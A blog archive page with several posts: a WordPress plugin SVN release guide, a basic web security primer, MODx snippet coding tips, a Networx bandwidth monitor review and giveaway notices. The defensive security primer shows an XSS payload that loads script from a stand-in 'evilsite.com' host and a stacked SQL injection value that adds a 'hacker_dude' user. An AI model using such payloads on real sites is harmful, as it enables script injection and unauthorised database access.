Category Archives: Nerd Stuff

Releasing New Versions of your WordPress Plugins

If you are a WordPress plugin developer, then this post is for you. There is very little documentation on how to effectively use the WordPress Subversion repository, and the repo architecture is critically flawed in its structure making “kosher” usage seem entirely buggy. Worse yet, the support in the WordPress forums is practically non-existant. For a more thorough explanation of this process, see our book on WordPress 3 Plugin Development Essentials, which features an entire chapter on dealing with SVN and the WordPress repository.

Below is the short summary of what is presented in the video.

How to release updates to your WordPress plugin (quickie version)

  1. Make the updates to your code, fix any errors, add new features.
  2. Update your plugin’s main file (the one with the information header) so that it references the new version of your plugin, e.g.
    Version: 0.5
  3. Update your readme.txt file to describe the changes you have made, but DO NOT change the Stable Tag. This number must point to an existing directory inside your repo’s tags directory.
  4. Save your files, then commit your changes to the SVN repo, e.g. svn commit . -m "My new version is ready"
  5. Tag the new version using the SVN copy command to copy the trunk new a new numbered directory in tags, e.g. svn copy http://plugins.svn.wordpress.org/your-plugin/trunk http://plugins.svn.wordpress.org/your-plugin/tags/0.5
    Remember: the tagging operation is just a copy operation.
  6. By performing the tagging (i.e. copy) operation, a new directory has been created inside the tags directory. So only now can you safely update your readme.txt file’s Stable Tag, e.g.
    Stable tag: 0.5
    That number acts as a pointer to the corresponding folder inside of the tags directory (it would point to http://plugins.svn.wordpress.org/your-plugin/tags/0.5 in this example).
  7. Commit your changes to the readme.txt file. This will ensure that the Stable Tag attribute points to the newly created version: svn commit . -m "Updating the stable tag"
  8. You should be done now, but the WordPress SVN repository has been so problematic…. keep an eye on your plugin’s download page and verify that the changes get picked up. The changes should be picked up within 15 minutes or so… if they don’t get picked up, look at the downloaded zip file carefully… does the link say one thing but the name of the zip file says something else? It’s easy to mix things up, so if you get stuck, try reviewing the steps here.

How to release updates to your WordPress plugin (Long Version)

Ok, that was too quick? Well, we left out some important geeky points. The way WordPress’ download page works is that it looks at the readme.txt file at the HEAD of the repo, and then it follows the value listed there for Stable tag. If the Stable tag lists version 0.8, then the information from tags/0.8/readme.txt is used to generate your plugin’s information page and the files in tags/0.8 are packaged up into a zip file and that’s what downloads when the user clicks the download link.

Can you see the problem with this setup? Normally, when you tag a directory in SVN, that copy is treated as a read-only reference, but in this setup, it is frequently easier and less prone to errors for you to go into the tags directory and make your edits. This is normally a bit no-no for version control!

So the safer way to do this is to develop your plugin normally inside the wp-content/plugins directory and submit to the trunk as you normally do. Once you’re ready to publish a release, go to a new folder somewhere on your hard drive and checkout your ENTIRE project, trunk, tags, and all. Then you can do your tagging operation locally, e.g. svn copy trunk tags/0.9, and that will give you a new directory. You can update that directory’s readme.txt file and your plugin’s information header, then commit all of your code (trunk and all tags folders).

Hope that helps los dudes.

Basic Web Security

Web security is a huge topic, and this article only intends to cover some of the most basic issues and increase awareness of how carelessness or ignorance can lead to exploits. Ultimately, what you don’t know can hurt you, so it’s in your best interest to learn as much as you can about your site and the technologies it relies on. Here’s a brief run-down of some fairly common mistakes I’ve come across and what you can do to either avoid them or lessen your vulnerability.

Suspected Malware Site!
You've been F'd in the A!

Make Rolling Backups

If you do nothing else, make sure you are backing up your site and its databases. So long as you know if/when your site fails (or is hacked) and have the ability to roll back to a known good state, you have little to fear.

Make SURE you practice restoring a site from your backups! An untested backup is worthless. Nothing is worse that THINKING you have a viable backup only to discover that it is actually corrupted.

As your backup needs mature, consider storing them offsite, e.g. on Amazon’s S3 service.

I’m supplying two of my most-used backup scripts for those in need. These are fairly simple, but they will work on shared hosts. They will backup a web site’s files and its databases.

Be Diligent about Passwords

You’ve probably heard this a hundred times before, but it is really important:

  • NEVER use the same password twice! Ever!
  • Avoid short passwords! Length before strength. Try mixing up combinations of smaller units, e.g. “AlphaBetaCharlie” instead of “abc”. Be creative. You can have strong passwords that are easy to remember!
  • Store your passwords in a safe place, e.g. in a password manager like KeePass or in an encrypted disc image
  • Change your Passwords Frequently! Literally, put this in your calendar so you remember to do it on a periodic basis. This helps avoid brute-force attacks.
  • As a secondary line of defense, you can put an .htaccess password on your manager pages. All this does is slow down a brute-force attack by forcing the attacker to crack an additional password.

Password Protecting Directories using .htaccess

This adds an additional layer of authentication to a site or to a page; it’s not meant to substitute for more robust firewall rules or active filtering, but it is easy to set up.

First, create a username and password in a file that .htaccess can read. This can be done on the bash command line using the htpasswd command:

htpasswd -c /path/to/htpassword/file name_of_user

Next, add the following to your .htaccess file. Be sure you reference the file you just created above:

AuthName "Protected Area"
AuthGroupFile /dev/null
AuthType Basic
AuthUserFile /path/to/htpassword/file
Require valid-user

For some more detailed information on .htaccess passwords, see this page.

Stay Patched

Make sure you’ve got an updated version of your operating system, your scripting language (PHP), your database (MySQL), and your software (WordPress, MODx, etc.). Sometimes applying patches can be scary, but it’s a lot less so if you’ve got those rolling backups in place!

I want to make mention of a very useful tool: SimpleScripts. It’s available on Bluehost accounts; it provides one-click installs of many web software packages (like WordPress and MODx) and it will alert you to update them when you log into your cPanel. It’s a real time-saver!

Clean your Room!

  • Do not install superfluous/untrusted software on your site! Don’t go dumpster diving for code that’s going to end up on a public-facing web site!
  • Shut down services you’re not using (e.g. blog posts) because it takes more time to secure them.
  • Do not store backups or sensitive data inside your document root!
  • Encrypt sensitive data
  • Check permissions.
Proper web site folder structure
Don't put backups or database dumps in your document root!

Make sure you organize your site’s files in a way that ensures that only you have access to sensitive data like backups or database dumps. These should NEVER be stored in the publicly viewable document root!

Cross Site Scripting

Behold the terror that is:

<?php print $_GET['x']; ?>

That code should NEVER be used on a public site because it effectively gives free access to the public to put whatever they want on your site! This type of code often sneaks into pagination links or into code that re-populates forms, e.g.:

<input type="text" name="myfield" value="<?php print $_POST['myfield']; ?>" />

where the ‘myfield’ variable contains something like:
" /> <script src="http://evilsite.com/js/screwed.js"></script>

For a list of values you might want to try pasting into form fields to see if they are secure, check out this great cheat sheet at http://ha.ckers.org/xss.html

In the end, be REALLY aware of any user-submitted data. Users can put their own data into ANY form field, and into any cookie, so anything in the $_GET, $_POST, or $_COOKIE arrays (and also the $_REQUEST array) is inherently insecure and should be carefully filtered. These are like the STDs of the web!!!

For articles about web hacks and some good real-world examples, check out other articles on http://ha.ckers.org/

Don’t Take Cookies From Strangers!

If you thought cookies were somehow immune to the area of security threats, they are not! It’s easy to write your own! The Firefox Web Developer plugin lets you easily create your own cookies. This is great as a web developer, but it can also be a sneaky tool for a hacker to introduce unintended code to your application, so filter cookie contents as carefully as you would the user-submitted forms.

Cookies also store the PHP session id; all $_SESSION data is stored on the server, but the unique key that associates that data with the user is stored in the user’s cookie. If one user authenticates, it’s possible for another user to make requests using that $_SESSION id! Especially with applications that require a login, it’s good practice to get a new session id using session_regenerate_id().

Filtering data

Every time you submit form data, you should write your regular expressions very carefully so your application accepts ONLY clean, valid data. In general, if you can keep input as simplistic as possible, it tends to be easier to secure. Integer only inputs are “safer” than alphabetic inputs. Alphabetic input is safer than input that accepts HTML tags, and so on.

Consider the following filters:
Type-Casting to force integer only values:
<?php
$x = (int) $_GET['x'];
?>


Alphabetical Characters Only:

// Accepts only letters a-z (case insensitive)
function alphabetical($str)
{
if ( preg_match('/^([a-z])+$/i', $str) )
{
return $str;
}
else
{
return FALSE;
}
}

For PHP coders, get familiar with the preg_replace() function: it offers a more standard regular expression syntax (the often emulated Perl syntax). Also have a look at the strip_tags() function.

Frame Buster

A common trick used in phishing scams or to perpetrate click fraud involves iframe-ing a site. Basically, the “trick” relies on the HTML iFrame tag to make one site display the contents of another without being obvious to the casual user.

One partial solution to this common attack vector is to use some simple javascript that checks to ensure that the page the parent page and not being iFramed:

<SCRIPT LANGUAGE=JavaScript>
<!--
if (top.frames.length!=0)
top.location=self.document.location;
// -->
</SCRIPT>

Do a Google search for “frame buster javascript” to find other examples.

SQL Injection

This is a very broad topic, and there are numerous ways that SQL-injection might be used to compromise a site, but they all rely on the same principle: you construct strings of SQL statements and issue them against your database. If a malicious user is able to put his own data into one of those strings, it’s possible that a user can execute queries on your database that you never expected. This often gets back to form-validation and the ever important task of filtering user-submitted data!

Here’s a not-so-hypothetical PHP example:

$username = $_POST['username'];
$sql = "SELECT * FROM `users` WHERE `username`='$username'";

where $username contains something like:
'; INSERT INTO users (username, password) VALUES ('hacker_dude', MD5('xxxxxx') )

When that executes, 2 different queries are sent to the database instead of one, and if your’e not careful, it can allow an attacker to gain access to parts of your site and delete or steal data.

One strong line of defense against this type of attack is using a robust database driver that allows for the use of prepared statements (available since MySQL 4.1): where you prepare a statement once, then execute it multiple times with only certain defined variables changing. What this does is it allows you to define your query and only let the user supply the variables to be used in that query. This is a much more sensible option than letting the user essentially construct the query from scratch.

More mature database driver libraries (such as phpmysli) will allow you to use prepared statements.

You should also get familiar with escaping quotes in your database queries; this isn’t anywhere as effective as using prepared statements, but sometimes you have to use statements that aren’t prepared, so get familiar with how to escape strings before sending them to the database. In PHP, use the mysql_real_escape() function.

Finally, consider setting up special database users and roles to handle different types of queries. If a query is hijacked, it can only execute with the same permissions as the database handle. In other words, you wouldn’t grant delete or insert permissions to a database handle that was used only for selecting data. It’s more work to set up your database handles this way, but it may help prevent an attack from succeeding.

Conclusion

Watch your cornhole. There’s a lot going on a web site, and there are a lot of ways to abuse the technologies that run them. If you understand how the exploits occur, you’ll be better prepared to prevent them.

Get EASEUS Data Recovery Wizard for Free (Giveaway)

EASEUS - Data Recovery Wizard Need to recover some important files? For a limited time, EASEUS is giving away a version of their Data Recovery Wizard. It ordinarily costs $70.

Giveaway Link

The Data Recovery Wizard is capable of recovering deleted files, but it can do much more. It can also help recover files on a disk partition after an accidental format, or even restore a lost partition.

Supported filesystems include FAT and NTFS, and supported operating systems include Windows 2000, XP, and Vista (32-64 bit). Unfortunately, it appears that Windows 7 is not officially supported.

Did you miss this giveaway, or want to try a comparable freeware program? Give Recuva a shot.

Writing Custom PHP Snippets for MODx (part VII)

This article and tutorial video takes on how to add custom PHP scripts (known as Snippets) to the MODx content management system. This covers MODx Evolution (version 1.0 and before), but many of these methods and principles are applicable to MODx Revolution (version 2.0) and PHP coding in general.

A video used to be embedded here but the service that it was hosted on has shut down.
Watch Video @ Blip.Tv

Adding a Snippet

MODx newcomers are sometimes confused as to where to upload the PHP files… YOU DON’T UPLOAD IT. You paste it into a database record. You can reference files on the file system, but you don’t have to.

1. To add a Snippet from the MODx (v1) manager go to Elements –> Manage Elements –> Snippets then paste in your PHP code.
2. Be sure to give it a unique name (I recommend avoiding spaces in the name)
3. Give it a category: this will make your Snippet easier to find in the manager.

Recommended Components of a PHP Snippet

This applies to ANY code you write, but for the record, please include the following documentation as comments in your Snippet:
1. SUMMARY: a sentence describing what the Snippet does.
2. INPUT: list any input variables the Snippet can accept. It’s good to note the data type (e.g. integer/string), whether or not they are required, or whether or not they have a default value.
3. OUTPUT: list any special output created by the Snippet. Usually it’ll just be HTML, but it’s good to note any external actions (e.g. whether it updates a database row).
4. EXAMPLE: give an example of how the Snippet should be called.

Sample Comment Block



Coding Suggestions and Rules of Thumb

1. Develop your Interface before you code: that bit about adding comments isn’t just for other users, it can help you determine how you want to be able to interact with your code. Coding to an interface is good way of establishing goals and structure before you even start writing the actual code.
2. Initialize your variables: This cuts down on the possibility of security exploits, bugs, and it makes your code easier to read, e.g.:
$output = '';
$garfield_characters_array = array();

3. Sanitize your input: if you are getting any user entered data (e.g. anything out of the $_POST or $_GET array), sanitize the data using regular expressions and if/then statements. Make SURE you have eliminated any possibility that the data is something other than what your program expects.
4. Test as you Go: PHP doesn’t have a built-in debugger, so don’t go too long without checking to see if your code still “compiles” (technically, you should check to see if it has a valid syntax and if it executes). Checking often will help you track down where you made a mistake.
5. Use Good Variable and Function Names: be descriptive. Don’t become a member of the hated “ASCII Preservation Society”. Besides, if you use unique variable names, it becomes MUCH easier to search for instances of that variable, and you’re less likely to have variable collisions.
6. Group your Code into Units: In a word, use functions that fit on the page. If you can SEE it, you’re less likely to UNDERSTAND IT. Chapters of uninterrupted code are hard to debug and test.
7. Reuse your Code: if there are cases in your code where you’re copying and pasting identical or NEARLY identical parts, then it’s time to relegate that code to its own separate function.
8. Log your Errors: if something goes wrong, let your users know about it. It’s a wonderful thing to use the MODx logging function.
9. DO NOT MIX HTML and PHP! There are a few cases where where this is acceptable, but it is good architectural design to separate your view (i.e. your HTML) from your logic. If you have to edit your PHP code to change div tags or CSS classes, then you probably did something wrong. Instead, use MODx Chunks to format Snippet output; your code will be MUCH cleaner as a result and MUCH easier to maintain.

Including Files from the File System

If you write anything more than simple Snippets, you’ll want to put your PHP file(s) on the file system and reference them from the Snippet stored in the MODx database. You can do this by including a standard include or require statement, e.g.

include($modx->config['base_path'].'assets/snippets/mysnippet/include_me.php');

The standard MODx location would be in your own folder within the /assets/snippets directory.

Things to Remember When Including Files and Using Functions

1. Variable Scope: the $modx super-object and the methods that go along with it will not remain in scope within a funciton; use the global to ensure that the globally scoped $modx variable instance is used inside the function. Compare the two instances of the same API call:
// INSIDE a function
function inside_a_function($chunk_name,$garfield_characters_array)
{
global $modx;
$output = $modx->parseChunk($chunk_name, $garfield_characters_array, '[+', '+]');
return $output;
}

// Or OUTSIDE a function
$output = $modx->parseChunk($chunk_name, $garfield_characters_array, '[+', '+]');

2. You can’t return a value directly from an included file: because MODx treats Snippets as functions, it’s considered good form to always return a value, e.g. “return $output;” or “return TRUE;” but this MUST be returned from the original Snippet in the database; if you return output from the included file, you’ll have to return it again from the original database Snippet code. See the video for this quirk in action.
3. Take advantage of the File System: if you are developing stand-alone PHP files, you can use the bash terminal (on Linux or OS X machines) to test the PHP syntax. Simply navigate to the directory where your file is and type:
php -l name_of_your_file.php

Networx – Free Bandwidth Monitoring Software (Getting the Most Out of It)

Systems: Windows Only (2000, XP, Vista, 2008 / Both 32 and 64 bit)

Donationware: Technically it’s free, but when you see the level of craftsmanship in this program, you will want to donate.

Website: Softperfect.com

networx-prevI recently changed ISPs to one with much more consistent service, but the trade off is that I now have a rather small bandwidth cap. As much as we hate them, bandwidth caps are probably in all of our futures. The important thing is to have control over and be informed of your usage (before the bill arrives). I needed a reliable way to keep track of my bandwidth, so I tested out several free bandwidth monitoring softwares. My ISP has its own online bandwidth usage calculated, but I wanted a redundant system (one which I could use to make sure they were honest in their tracking).  In my experiments, I found Networx to be the best. Its primary virtue is its ability to be as advanced as you need it to be. For my multiple computer home network, it has every feature I could ask for. Let’s take a closer look.

The software is so unobtrusive; it even lacks a full control window.  Instead, you can access all aspects of the software from the taskbar icon.

Networxscreen1

A left click will give you a quick bandwidth summary/ a right click will show you the menu.

Networxscreen2

Before we get to ridiculous number of features available in the menu, let’s check out my favorite feature.A right click anywhere on the task bar brings up a windows menu that has a “toolbars” option, if you go there you will find a new entry: Networx Desk Band. Activating this toolbar gives you a quick real time read out.

Networxscreen3

I know what you’re thinking: But I don’t like red and white graphs! Well, you can fully customize that little read out; I’ll get to that a little later on.First, lets go back to that right click menu from the Networx taskbar icon.

Your first 3 options all work together:

Show Graph

– This displays a full size visual read out that you can place on your desktop wherever you want.

Networxscreen4

Reset Graph (Only present if “Show Graph” is clicked first) – This option will clear the current data displayed on the graph, not unlike the trip counter reset in your car.

Enable Click Through (Only present if “Show Graph” is clicked first) – Will make the graph act as if it is not really there.You can literally click through the graph to select things. Be careful though, this means you can’t resize or move the graph window without turning off “Click Through” the same way your turned it on.

Networxscreen5

Speed Meter

– This works sort of like a heart monitor for you bandwidth.You hit “Play” and for the duration you allow it to run, it records average, maximum and total transfer.You can then export it directly to a txt file.

Networxscreen5a

Usage Statistics

– You can access this menu from a double click on the icon.This will probably be your most visited window in the battle to keep informed about transfer totals. The first thing you will see is the “General” Tab:

Not much to do here, except see a quick summary of your total usage all in one place.

Networxscreen6

The Daily Report – Here is where you can really begin to see detail present in this program.If you have this set up on the family computer, you can directly see what day of the month the highest transfer happened.If you are not a fan of the spread sheet, they also provide you a visual readout of the past week.

Networxscreen7

Weekly/Monthly Report – The same data as the daily, but handily calculated for you either size increment.

Custom – The most powerful data aggregator in this entire software. You can give it the date-through-date specifics and it will automatically set up the graph in the most appropriate way.

Networxscreen8

Dial-up Sessions – If you have a minute/transfer based dial-up connection, this tab is vital.It records every time you connect to your dial up provider, the date, amount of time spent, transfers, etc.You might think this is outdated, but you would be surprised how many areas still do not have broadband.

Hourly Rates – for you true statistics hounds out there, you can follow your transfer rates on an hourly basis.

Networxscreen9

Export – Oh yeah, you can also export all of these charts to Excel for easy archiving.

Users – If everyone who uses the computer has separate logons, you can track the data per user.You know, easily figure out which roommate is the bandwidth hog.

Networxscreen10

Quota

This is a handy system for letting you set the maximum transfer/duration.For me that is 50 gigs per month.I set it at 45 gigs, however, because it notifies you with a little pop-up window when you have met your quota.

Networxscreen11

Networxscreen12

Settings

All of the settings for the program.Let’s go one tab at a time.

General – This tab has the settings for “Load on Windows Startup, Check for Updates”, And most importantly: Which internet connection is monitored. This is essential if you have multiple connections, or utilize a different connection for intra-network traffic.

Networxscreen13

Graph – Settings to tweak how the graph output functions.This is really for power users who want control over aspect of their graph.

Networxscreen14

Graph Colors – This may seem trivial or nit-picky, but on some monitors you may want to adjust the colors of the graph for optimal resolution.High contrast is an option in every aspect of most operating systems for those who need it for accessibility.Or, you may just want to make it look pretty.

Networxscreen15

Notifications – This tab’s settings tell the software when you notify you of certain things.It can tell you if your connection falls below it’s usual transfer rate, or if it exceeds a predetermined speed.You can also customize how exactly it notifies you, a tone or a pop up, ect.

Advanced – There is one truly important feature in here.In this tab you can set what day your billing cycle begins on. I’m lucky, my bandwidth resets at midnight on the first.For some of you, it might be on the 14th or 21st, etc. DO NOT FORGET TO SET THIS, OR YOUR TOTAL BANDWIDTH USED FOR THE MONTH WILL NOT BE ACCURATE!

If you have multiple computers using the same network, you will need to install Networx on all of them, and tick the box under “Synchronization” or else YOU WILL ONLY BE TRACKING THE DATA TRANSFERRED FROM THIS COMPUTER.That will not be an accurate measure of the total usage.

Networxscreen16

Trace Route

– This is a power user feature.Your average user will never have a need to track a packet from your computer to a source IP.

Ping

– This works the same way as the command line ping.You enter a location to ping, and it will tell you the millisecond duration of the test transfer.

NetStat

– This is pretty useful, it lists every program or service that is accessing the internet, or has rights to do so, and where it’s sending from and to.

Conclusion

So that’s about all you need to know to keep up with your bandwidth use by utilizing Networx. If you have a different favorite Bandwidth tracker, let us know in the comments below.I am on month 2 of using Networx, and have had no problems, if you have, also let us know.At the end of my first month of use, there was a 458 megabyte discrepancy between my Networx report and my ISPs total report.I attribute this to the Xbox360 updates and purchases along with my iPhone app downloads.

TipsFor.us Giveaway – iPod Touch Winner Announcement

Congratulations to “Dan” from KS, winner of the iPod Touch from TipsFor.us. Dan was one of more than 100 entries, but he was one of only a few who took advantage of all three entry methods (Form, Facebook, and Blog post). Obviously, it paid off for him.

Many thanks to all of you who entered. Stay tuned for future giveaway announcements, as we plan to host several more giveaways on TipsFor.us. What might we give away next? Maybe some RAM, a Macbook, or maybe some California IOUs? 🙂

ipodtouch.jpg

iPod Touch Giveaway Ends Tonight

If you want to try your luck at winning an iPod Touch, act fast! The TipsFor.us iPod giveway ends tonight (Sunday, 12 July 2009). All submissions must be received by 11:59 PM (PST). Thanks to all of you who have submitted so far. We’ve had a lot of interesting and creative submissions so far. Just be sure to include the correct code word in the entry form – a number of you added an incorrect word, and those entries must unfortunately be deleted.

Keep in mind that you can triple your odds of winning by both becoming a fan of TipsFor.us on Facebook AND also by writing a blog entry linking to our original giveaway post.

We’ll contact a winner on Monday, and that person will have 48 hours to respond before we choose a new winner. Don’t miss this opportunity! Good luck!

ipod-touch-win-me